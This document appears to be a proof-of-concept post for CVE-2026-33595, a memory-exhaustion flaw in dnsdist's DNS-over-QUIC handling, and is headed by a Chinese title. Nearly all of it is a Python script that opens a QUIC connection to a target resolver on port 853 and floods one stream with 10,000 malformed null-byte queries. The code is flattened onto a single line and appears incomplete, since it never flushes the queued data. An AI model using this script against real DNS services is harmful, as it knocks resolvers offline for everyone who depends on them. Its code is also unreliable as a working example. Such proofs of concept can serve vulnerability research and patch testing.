CVE-2026-33595 DNS拒绝服务漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-33595 - dnsdist DoQ/DoH3 Memory Exhaustion This script demonstrates how to trigger excessive memory allocation by generating multiple error responses over a single DoQ connection. """ import asyncio import aioquic from aioquic.asyncio import connect from aioquic.quic.configuration import QuicConfiguration async def send_malicious_requests(target_host, target_port, num_requests=10000): """Send excessive error requests to trigger memory exhaustion""" configuration = QuicConfiguration(is_client=True) async with connect(target_host, target_port, configuration=configuration) as protocol: stream_id = protocol._quic.get_next_available_stream_id() for i in range(num_requests): # Send malformed DNS queries to generate error responses malformed_query = b"\x00" * 100 # Invalid DNS query protocol._quic.send_stream_data(stream_id, malformed_query) await protocol.wait_closed() if __name__ == "__main__": target = "dns.example.com" port = 853 # DoQ default port asyncio.run(send_malicious_requests(target, port))